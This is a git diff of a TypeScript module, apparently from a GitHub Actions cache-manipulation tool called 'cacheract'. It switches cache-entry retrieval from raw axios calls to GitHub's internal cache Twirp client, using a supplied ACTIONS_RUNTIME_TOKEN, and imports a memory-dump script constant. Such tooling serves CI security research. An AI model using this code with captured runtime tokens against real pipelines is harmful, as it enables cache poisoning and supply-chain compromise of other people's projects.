@@ -5,7 +5,10 @@ import * as path from 'path';
5
5
import * as fs from 'fs' ;
6
6
import axios from 'axios' ;
7
7
import { MEMDUMP_SCRIPT } from './static' ;
8
- import { tmpdir } from 'os' ;
8
+ import { tmpdir , version } from 'os' ;
9
+ import { restore } from 'mock-fs' ;
10
+ import { GetCacheEntryDownloadURLRequest } from '@actions/cache/lib/generated/results/api/v1/cache' ;
11
+ import { DownloadOptions } from '@actions/cache/lib/options' ;
9
12
10
13
const execAsync = promisify ( exec ) ;
11
14
@@ -31,6 +34,9 @@ export async function sleep(ms: number) {
31
34
return new Promise ( resolve => setTimeout ( resolve , ms ) ) ;
32
35
}
33
36
37
+ var cacheTwirpClient = require ( '@actions/cache/lib/internal/shared/cacheTwirpClient' ) ;
38
+ var cacheHttpClient = require ( '@actions/cache/lib/internal/cacheHttpClient' ) ;
39
+
34
40
/**
35
41
* Generate a random string of specified length
36
42
* @param length - Length of the random string
@@ -65,29 +71,25 @@ export async function getOsInfo() {
65
71
export async function retrieveEntry ( cache_key : string , cache_version : string , runtimeToken : string ) : Promise < string > {
66
72
var cacheHttpclient = require ( '@actions/cache/lib/internal/cacheHttpClient' ) ;
67
73
try {
68
- const headers = {
69
- 'Authorization' : `Bearer ${ runtimeToken } ` ,
70
- 'User-Agent' : 'actions/cache-4.0.2' ,
71
- 'accept' : 'application/json'
72
- } ;
73
-
74
74
// We need both the cache URL and ACTIONS_RUNTIME_TOKEN to retrieve the cache.
75
75
if ( ! runtimeToken ) {
76
76
return '' ;
77
77
}
78
78
79
- const url = new URL ( `https://results-receiver.actions.githubusercontent.com/twirp/github.actions.results.api.v1.CacheService/GetCacheEntryDownloadURL` ) ;
80
-
81
- const cache_data = {
82
- "key" : cache_key ,
83
- " version" : cache_version ,
79
+ process . env [ 'ACTIONS_RUNTIME_TOKEN' ] = runtimeToken ;
80
+ const request : GetCacheEntryDownloadURLRequest = {
81
+ key : cache_key ,
82
+ restoreKeys : [ ] ,
83
+ version : cache_version
84
84
}
85
85
86
- // Make the HTTP GET request using axios
87
- const response = await axios . post ( url . href , { cache_data} , { headers : headers } ) ;
88
- if ( response . status == 200 ) {
89
- const location = new URL ( response . data [ 'signed_download_url' ] )
90
- await cacheHttpclient . downloadCache ( location , '/tmp/cacheract.tar.tzstd' ) ;
86
+ const twirpClient = cacheTwirpClient . internalCacheTwirpClient ( ) ;
87
+ const response = await twirpClient . GetCacheEntryDownloadURL ( request )
88
+ const options : DownloadOptions = {
89
+ useAzureSdk : true
90
+ }
91
+ if ( response . ok ) {
92
+ await cacheHttpclient . downloadCache ( response . signedDownloadUrl , '/tmp/cacheract.tar.tzstd' , options ) ;
91
93
if ( fs . existsSync ( '/tmp/cacheract.tar.tzstd' ) ) {
92
94
console . log ( 'Cache retrieved successfully' ) ;
93
95
return '/tmp/cacheract.tar.tzstd' ;
0 commit comments